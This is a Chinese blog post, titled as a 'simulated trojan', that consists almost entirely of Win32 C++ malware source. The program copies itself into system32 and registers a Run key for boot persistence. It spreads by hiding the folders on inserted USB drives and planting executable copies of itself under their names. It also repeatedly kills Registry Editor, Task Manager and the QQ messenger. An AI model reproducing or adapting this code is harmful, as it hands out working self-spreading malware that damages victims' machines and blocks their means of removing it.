模拟木马

  1 // Virus.cpp : 定义应用程序的入口点。
  2 //
  3 
  4 #include "stdafx.h"
  5 #include "Virus.h"
  6 #include <windows.h>
  7 #include <Dbt.h>
  8 #include <iostream>
  9 #include"io.h"
 10 #include "tlhelp32.h" 
 11 using namespace std;
 12 #define MAX_LOADSTRING 100
 13 
 14 
 15  
 16 
 17 void KillProcess(WCHAR* wzFilePath);
 18 // 全局变量:
 19 HINSTANCE hInst;                                // 当前实例
 20 TCHAR szTitle[MAX_LOADSTRING];                    // 标题栏文本
 21 TCHAR szWindowClass[MAX_LOADSTRING];            // 主窗口类名
 22 
 23 // 此代码模块中包含的函数的前向声明:
 24 ATOM                MyRegisterClass(HINSTANCE hInstance);
 25 BOOL                InitInstance(HINSTANCE, int);
 26 LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
 27 INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);
 28 
 29 int APIENTRY _tWinMain(HINSTANCE hInstance,
 30                      HINSTANCE hPrevInstance,
 31                      LPTSTR    lpCmdLine,
 32                      int       nCmdShow)
 33 {
 34     WNDCLASS wndclass;
 35     wndclass.cbClsExtra=0;
 36     wndclass.cbWndExtra=0;
 37     wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);
 38     wndclass.hCursor=LoadCursor(NULL,IDC_ICON);
 39     wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);
 40     wndclass.hInstance=hInstance;
 41     wndclass.lpfnWndProc=WndProc;
 42     wndclass.lpszClassName=L"lieying";
 43     wndclass.lpszMenuName=NULL;
 44     wndclass.style=CS_VREDRAW|CS_HREDRAW;
 45 
 46     RegisterClass(&wndclass);             //注册窗口类
 47 
 48     HWND hwnd;
 49     hwnd=CreateWindow(L"lieying",L"",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);
 50     //ShowWindow(hwnd,SW_HIDE);       //隐藏窗体
 51     UpdateWindow(hwnd);
 52     MSG msg;
 53     while(GetMessage(&msg,hwnd,0,0))      //消息循环
 54     {
 55         TranslateMessage(&msg);
 56         DispatchMessage(&msg);
 57     }
 58     return (int) msg.wParam;
 59 }
 60 
 61 
 62 
 63 //
 64 //  函数: MyRegisterClass()
 65 //
 66 //  目的: 注册窗口类。
 67 //
 68 //  注释:
 69 //
 70 //    仅当希望
 71 //    此代码与添加到 Windows 95 中的“RegisterClassEx”
 72 //    函数之前的 Win32 系统兼容时,才需要此函数及其用法。调用此函数十分重要,
 73 //    这样应用程序就可以获得关联的
 74 //    “格式正确的”小图标。
 75 //
 76 ATOM MyRegisterClass(HINSTANCE hInstance)
 77 {
 78     WNDCLASSEX wcex;
 79 
 80     wcex.cbSize = sizeof(WNDCLASSEX);
 81 
 82     wcex.style            = CS_HREDRAW | CS_VREDRAW;
 83     wcex.lpfnWndProc    = WndProc;
 84     wcex.cbClsExtra        = 0;
 85     wcex.cbWndExtra        = 0;
 86     wcex.hInstance        = hInstance;
 87     wcex.hIcon            = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_VIRUS));
 88     wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
 89     wcex.hbrBackground    = (HBRUSH)(COLOR_WINDOW+1);
 90     wcex.lpszMenuName    = MAKEINTRESOURCE(IDC_VIRUS);
 91     wcex.lpszClassName    = szWindowClass;
 92     wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
 93 
 94     return RegisterClassEx(&wcex);
 95 }
 96 
 97 //
 98 //   函数: InitInstance(HINSTANCE, int)
 99 //
100 //   目的: 保存实例句柄并创建主窗口
101 //
102 //   注释:
103 //
104 //        在此函数中,我们在全局变量中保存实例句柄并
105 //        创建和显示主程序窗口。
106 //
107 BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
108 {
109    HWND hWnd;
110 
111    hInst = hInstance; // 将实例句柄存储在全局变量中
112 
113    hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
114       CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
115 
116    if (!hWnd)
117    {
118       return FALSE;
119    }
120 
121    ShowWindow(hWnd, nCmdShow);
122    UpdateWindow(hWnd);
123 
124    return TRUE;
125 }
126 
127 //
128 //  函数: WndProc(HWND, UINT, WPARAM, LPARAM)
129 //
130 //  目的: 处理主窗口的消息。
131 //
132 //  WM_COMMAND    - 处理应用程序菜单
133 //  WM_PAINT    - 绘制主窗口
134 //  WM_DESTROY    - 发送退出消息并返回
135 //
136 //
137 LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
138 {
139     int wmId, wmEvent;
140     PAINTSTRUCT ps;
141     HDC hdc;
142 
143     switch (message)
144     {
145     case WM_PAINT:
146         {
147             PAINTSTRUCT ps;
148             BeginPaint(hWnd,&ps);
149             EndPaint(hWnd,&ps);
150             break;
151         }
152 
153     case WM_CLOSE:
154         {
155             DestroyWindow(hWnd);
156             break;
157         }
158 
159     case WM_DESTROY:
160         {
161             PostQuitMessage(0);
162             break;
163         }
164     case WM_CREATE:                                //窗体创建时执行复制自身到系统目录,并写注册表实现开机启动。
165         {
166 
167             SetTimer(hWnd,1,1000,NULL);           //设置定时器,每秒调用一次。
168 
169             //复制文件自身到系统目录
170             TCHAR ExeFullPath[MAX_PATH];
171             GetModuleFileName(NULL,ExeFullPath,MAX_PATH);   //获取exe的全路径(包括文件名)
172 
173             TCHAR NewFilePath[MAX_PATH]=L"C:\\WINDOWS\\system32\\virus.exe";  //Copy到系统目录。。。。
174             BOOL bret = CopyFile(ExeFullPath,NewFilePath,TRUE);  
175             int a = GetLastError();
176 
177             //写注册表,实现开机运行。
178             HKEY hkey;
179             TCHAR keyvalue[MAX_PATH]=L"C:\\WINDOWS\\system32\\virus.exe";  
180             TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
181 
182             RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);
183             RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,wcslen(keyvalue));
184              a = GetLastError();
185 
186             RegCloseKey(hkey);
187 
188             break;
189         }
190     case WM_DEVICECHANGE:          //移动存储设备插入电脑会产生WM_DEVICECHANGE消息
191         {
192             if(lParam!=0)
193             {
194                 PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;   //定义PDEV_BROADCAST_HDR结构体,系统填充结构体信息。
195                 if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)            
196                 {
197                     if(wParam==DBT_DEVICEARRIVAL)                       //移动存储设备已经可用。
198                     {
199                         long i,j;
200                         TCHAR buf[100];
201                         TCHAR *cdbuf;
202                         j=100;
203                         i=GetLogicalDriveStrings(j,buf);
204                         for(j=0;j<i;j+=4)
205                         {
206                             cdbuf=&buf[j];
207                             if(GetDriveType(cdbuf)==DRIVE_REMOVABLE)   //判断插入设备的类型是否为可移动设备
208                             {
209 
210                                 TCHAR FileName[MAX_PATH];
211                                 wcscpy(FileName,cdbuf);
212                                 TCHAR f[MAX_PATH]=TEXT("\\*.");
213                                 wcscat(FileName,f);
214                                 struct _wfinddata_t files;
215                                 int File_Handle;
216                                 int i=0;
217                                 File_Handle = _wfindfirst(FileName,&files);              
218                                 if(File_Handle==-1)
219                                 {
220                                     break;
221                                 }
222 
223                                 do
224                                 {
225                                     TCHAR temp[MAX_PATH];
226                                     wcscpy(temp,wcscat(cdbuf,L"\\"));
227                                     wcscat(cdbuf,files.name);
228                                     //目录正常显示SetFileAttributes(cdbuf,FILE_ATTRIBUTE_ARCHIVE);
229                                     SetFileAttributes(cdbuf,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);  //给目录添加隐藏,系统属性。
230                                     CopyFile(L"C:\\WINDOWS\\system32\\virus.exe",wcscat(cdbuf,L".exe"),FALSE); //将系统目录下的病毒文件,拷贝到U盘,名字为U盘子目录的名字加.exe。
231                                     i++;
232                                     wcscpy(cdbuf,temp);
233                                 }
234                                 while(0==_wfindnext(File_Handle,&files));
235                                 _findclose(File_Handle);
236                                 //MessageBox(hwnd,"I have already finished my task......","Sucess",MB_OK||MB_ICONINFORMATION);
237                             }
238                         }
239 
240                     }
241                 }
242             }
243 
244         }
245         break;
246 
247 
248 
249     case WM_TIMER:                                   //处理WM_TIMER消息
250         {
251             HWND hwReg=FindWindow(L"RegEdit_RegEdit",L"注册表编辑器");       //寻找注册表
252             if(hwReg!=NULL)
253             {
254                 SendMessage(hwReg,WM_CLOSE,NULL,NULL);  
255                 KillProcess(L"regedit.exe");//如果找到注册表,立即关闭
256             }
257 
258             HWND hwTsk=FindWindow(L"#32770",L"Windows 任务管理器");          //寻找任务管理器
259             if(hwTsk!=NULL)
260             {
261                 SendMessage(hwTsk,WM_CLOSE,NULL,NULL);                   //如果找到任务管理器,立即关闭
262             }
263 
264             HWND hwQQ=FindWindow(L"TXGuiFoundation",NULL);             //查找QQ
265             if(hwQQ!=NULL)
266             {
267                 KillProcess(L"QQ.exe");  //杀死QQ进程,无论已经登陆QQ,还是正在登陆。。。。
268             }
269         }
270         break;
271 
272 
273 
274     default:
275         {
276             return DefWindowProc(hWnd,message,wParam,lParam);
277             break;
278         }
279     }
280     return 0;
281 }
282 
283 void KillProcess(WCHAR* wzFilePath)  //关闭QQ进程
284 {  
285     //   TODO:   Add   your   control   notification   handler   code   here  
286     //   PROCESSENTRY32结构对象  
287     PROCESSENTRY32 pe;  
288     //   创建快照句柄
289     pe.dwSize = sizeof(PROCESSENTRY32);  
290     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
291 
292 
293     //   先搜索系统中第一个进程的信息  
294     Process32First(hSnapshot, &pe);  
295 
296     TCHAR szFile[MAX_PATH];
297     int p;  
298 
299 
300     //   下面对系统中的所有进程进行枚举,  
301     do{  
302         lstrcpy(szFile, pe.szExeFile);
303         p = lstrcmp(szFile, wzFilePath);
304         if(0 == p)   //if(strlen(pe.szExeFile)>0)判断关闭系统进程外的所以进程
305         {
306             HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pe.th32ProcessID);   
307 
308 
309             //先取得他  
310             if(h)   
311                 TerminateProcess(h, 0);  //关闭  
312             //break;  
313         }   
314     }while(Process32Next(hSnapshot, &pe));
315 
316 
317     //   关闭快照句柄  
318     CloseHandle(hSnapshot);    
319 }
320 // “关于”框的消息处理程序。
321 INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
322 {
323     UNREFERENCED_PARAMETER(lParam);
324     switch (message)
325     {
326     case WM_INITDIALOG:
327         return (INT_PTR)TRUE;
328 
329     case WM_COMMAND:
330         if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
331         {
332             EndDialog(hDlg, LOWORD(wParam));
333             return (INT_PTR)TRUE;
334         }
335         break;
336     }
337     return (INT_PTR)FALSE;
338 }
View Code

 http://blog.csdn.net/denghubu/article/details/5765921

posted on 2016-06-01 08:51  yifi  阅读(369)  评论(0编辑  收藏  举报

导航